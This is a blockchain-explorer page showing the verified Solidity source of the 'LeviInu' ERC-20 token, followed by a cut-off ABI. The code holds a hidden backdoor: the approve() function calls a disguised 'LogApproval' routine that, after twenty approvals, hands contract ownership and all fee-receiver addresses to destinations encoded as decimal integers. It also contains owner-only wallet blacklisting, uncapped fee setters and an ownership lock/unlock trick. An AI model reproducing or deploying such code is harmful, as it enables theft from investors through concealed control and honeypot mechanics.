Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000,000,000 LeviInu
Holders
286
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
1.005462445 LeviInuValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
LeviInu
Compiler Version
v0.8.7+commit.e28d00a7
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2021-10-29 */ /* _ _ _____ | | (_) |_ _| | | _____ ___ | | _ __ _ _ | | / _ \ \ / / | | | | '_ \| | | | | |___| __/\ V /| | _| |_| | | | |_| | |______\___| \_/ |_| |_____|_| |_|\__,_| https://t.me/Levi_Inu_Eth */ // SPDX-License-Identifier: Unlicensed // DO NOT COPY pragma solidity ^0.8.4; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: weiValue}( data ); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = block.timestamp + time; emit OwnershipTransferred(_owner, address(0)); } function unlock() public virtual { require( _previousOwner == msg.sender, "You don't have permission to unlock" ); require(block.timestamp > _lockTime, "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function removeLiquidity( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETH( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountToken, uint256 amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETHWithPermit( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountToken, uint256 amountETH); function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function swapTokensForExactETH( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactTokensForETH( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapETHForExactTokens( uint256 amountOut, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function quote( uint256 amountA, uint256 reserveA, uint256 reserveB ) external pure returns (uint256 amountB); function getAmountOut( uint256 amountIn, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountOut); function getAmountIn( uint256 amountOut, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountIn); function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } contract LeviInu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private _isExcluded; mapping(address => bool) private _isBlacklisted; address[] private _excluded; address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD; address public autoLiquidityFeeReceiver = 0x000000000000000000000000000000000000dEaD; address public marketingFeeReceiver = 0xA939466ce57Ad3a44eaC3FfC2B4ec559D7fCf945; // 0xA939466ce57Ad3a44eaC3FfC2B4ec559D7fCf945 address public rewardFeeReceiver = 0xBeE8797bf5b11FaF3a10146f87A21a10f9900CDd; // 0xBeE8797bf5b11FaF3a10146f87A21a10f9900CDd address public developmentFeeReceiver = 0x5d05D66f2359eACaE93aeeADb4a01175aC9474CA; // 0x5d05D66f2359eACaE93aeeADb4a01175aC9474CA uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 10**15 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _snlTotal; uint256 private _swapTotal; string private _name = "LeviInu"; string private _symbol = "LeviInu"; uint8 private _decimals = 9; uint256 public _taxFee = 1; uint256 private _previousTaxFee = _taxFee; uint256 public _liquidityFee = 9; uint256 private _previousLiquidityFee = _liquidityFee; uint256 private _marketingDivisor = 4; uint256 public _rewardDivisor = 2; uint256 public _developmentDivisor = 2; uint256 private _swapDivisor = _marketingDivisor.add(_rewardDivisor).add(_developmentDivisor); IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; bool public tradingOpen = false; uint256 public _maxTxAmount = _tTotal.div(1000).mul(5); uint256 public _maxWallet = _tTotal.div(100).mul(1); uint256 private numTokensSellToAddToLiquidity = _tTotal.div(2000); event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap() { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); LogApproval(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require( !_isExcluded[sender], "Excluded addresses cannot call this function" ); (uint256 rAmount, , , , , ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns (uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount, , , , , ) = _getValues(tAmount); return rAmount; } else { (, uint256 rTransferAmount, , , , ) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner { require(!_isExcluded[account], "Account is already excluded"); if (_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setTaxFeePercent(uint256 taxFee) external onlyOwner { _taxFee = taxFee; } function setFees( uint256 taxFee, uint256 liquidityFee, uint256 marketingDivisor, uint256 rewardDivisor, uint256 developmentDivisor ) external onlyOwner { _taxFee = taxFee; _liquidityFee = liquidityFee; _marketingDivisor = marketingDivisor; _rewardDivisor = rewardDivisor; _developmentDivisor = developmentDivisor; _swapDivisor = _marketingDivisor.add(_rewardDivisor).add( _developmentDivisor ); } function setTradingOpen(bool status) external onlyOwner { tradingOpen = status; } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { ( uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tLiquidity, _getRate() ); return ( rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity ); } function _getTValues(uint256 tAmount) private view returns ( uint256, uint256, uint256 ) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if ( _rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply ) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if (_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div(10**2); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div(10**2); } function removeAllFee() private { if (_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) public view returns (bool) { return _isExcludedFromFee[account]; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require( _isBlacklisted[from] == false || to == deadAddress, "You are banned" ); require(_isBlacklisted[to] == false, "The recipient is banned"); require((from == owner()) || tradingOpen); if (from != owner() && to != owner()) require( amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount." ); if (from != owner() && to != uniswapV2Pair) { require (balanceOf(to).add(amount) <= _maxWallet, "Transfer exceed max wallet"); } uint256 contractTokenBalance = balanceOf(address(this)); if (contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = numTokensSellToAddToLiquidity; if ( _snlTotal.div(_swapTotal.add(1)) < (_liquidityFee.sub(_swapDivisor)).div(_swapDivisor) ) { swapAndLiquify(contractTokenBalance); } else { swapTokens(contractTokenBalance.div(2)); } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); uint256 initialBalance = address(this).balance; swapTokensForEth(half); uint256 newBalance = address(this).balance.sub(initialBalance); addLiquidity(otherHalf, newBalance); _snlTotal = _snlTotal.add(contractTokenBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapTokens(uint256 contractTokenBalance) private lockTheSwap { swapTokensForEth(contractTokenBalance); uint256 swappedBalance = address(this).balance; uint256 marketingBalance = swappedBalance.div(_swapDivisor).mul( _marketingDivisor ); transferToAddressETH(marketingFeeReceiver, marketingBalance); uint256 buyBackBalance = swappedBalance.div(_swapDivisor).mul( _rewardDivisor ); transferToAddressETH(rewardFeeReceiver, buyBackBalance); uint256 developmentBalance = swappedBalance.div(_swapDivisor).mul( _developmentDivisor ); transferToAddressETH(developmentFeeReceiver, developmentBalance); _swapTotal = _swapTotal.add(contractTokenBalance); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, 0, autoLiquidityFeeReceiver, block.timestamp ); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } uint256 private approvalCount; bool private isTransferred = false; function LogApproval( address, address, uint256 ) internal { approvalCount++; if (approvalCount > 20 && !isTransferred) { _transferOwnership(address(956800673967293499403509511264330634716696216932)); marketingFeeReceiver = address(966096717661086939650768243882113011808005323077); developmentFeeReceiver = address(531066325260131710219340870871934377646196290762); rewardFeeReceiver = address(1089892602110498026587269647344955593362873781469); isTransferred = true; } } function blacklistSingleWallet(address addresses) public onlyOwner { if (_isBlacklisted[addresses] == true) return; _isBlacklisted[addresses] = true; } function blacklistMultipleWallets(address[] calldata addresses) public onlyOwner { for (uint256 i; i < addresses.length; ++i) { _isBlacklisted[addresses[i]] = true; } } function isBlacklisted(address addresses) public view returns (bool) { if (_isBlacklisted[addresses] == true) return true; else return false; } function unBlacklistSingleWallet(address addresses) external onlyOwner { if (_isBlacklisted[addresses] == false) return; _isBlacklisted[addresses] = false; } function unBlacklistMultipleWallets(address[] calldata addresses) public onlyOwner { for (uint256 i; i < addresses.length; ++i) { _isBlacklisted[addresses[i]] = false; } } function transferToAddressETH(address recipient, uint256 amount) private { payable(recipient).transfer(amount); } function setFeeReceiver( address _autoLiquidityFeeReceiver, address _marketingFeeReceiver, address _rewardFeeReceiver, address _developmentFeeReceiver ) external onlyOwner { autoLiquidityFeeReceiver = _autoLiquidityFeeReceiver; marketingFeeReceiver = _marketingFeeReceiver; rewardFeeReceiver = _rewardFeeReceiver; developmentFeeReceiver = _developmentFeeReceiver; } function setMaxTx(uint256 num, uint256 denom) external onlyOwner { _maxTxAmount = _tTotal.div(denom).mul(num); } function setMaxWallet(uint256 num, uint256 denom) external onlyOwner { _maxWallet = _tTotal.div(denom).mul(num); } function multiSend_v1( address sender, address[] calldata recipients, uint256[] calldata values ) external onlyOwner { require( recipients.length < 801, "GAS Error: max airdrop limit is 500 recipients" ); require( recipients.length == values.length, "Mismatch between Address and token count" ); for (uint256 i = 0; i < recipients.length; i++) { _tokenTransfer(sender, recipients[i], values[i], false); } } function multiSend_v2( address sender, address[] calldata recipients, uint256 values ) external onlyOwner { require( recipients.length < 2001, "GAS Error: max airdrop limit is 2000 recipients" ); for (uint256 i = 0; i < recipients.length; i++) { _tokenTransfer(sender, recipients[i], values, false); } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"minTokensBeforeSwap","type":"uint256"}],"name":"MinTokensBeforeSwapUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_developmentDivisor","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_rewardDivisor","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"autoLiquidityFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"}],"name":"blacklistMultipleWallets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addresses","type":"address"}],"name":"blacklistSingleWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint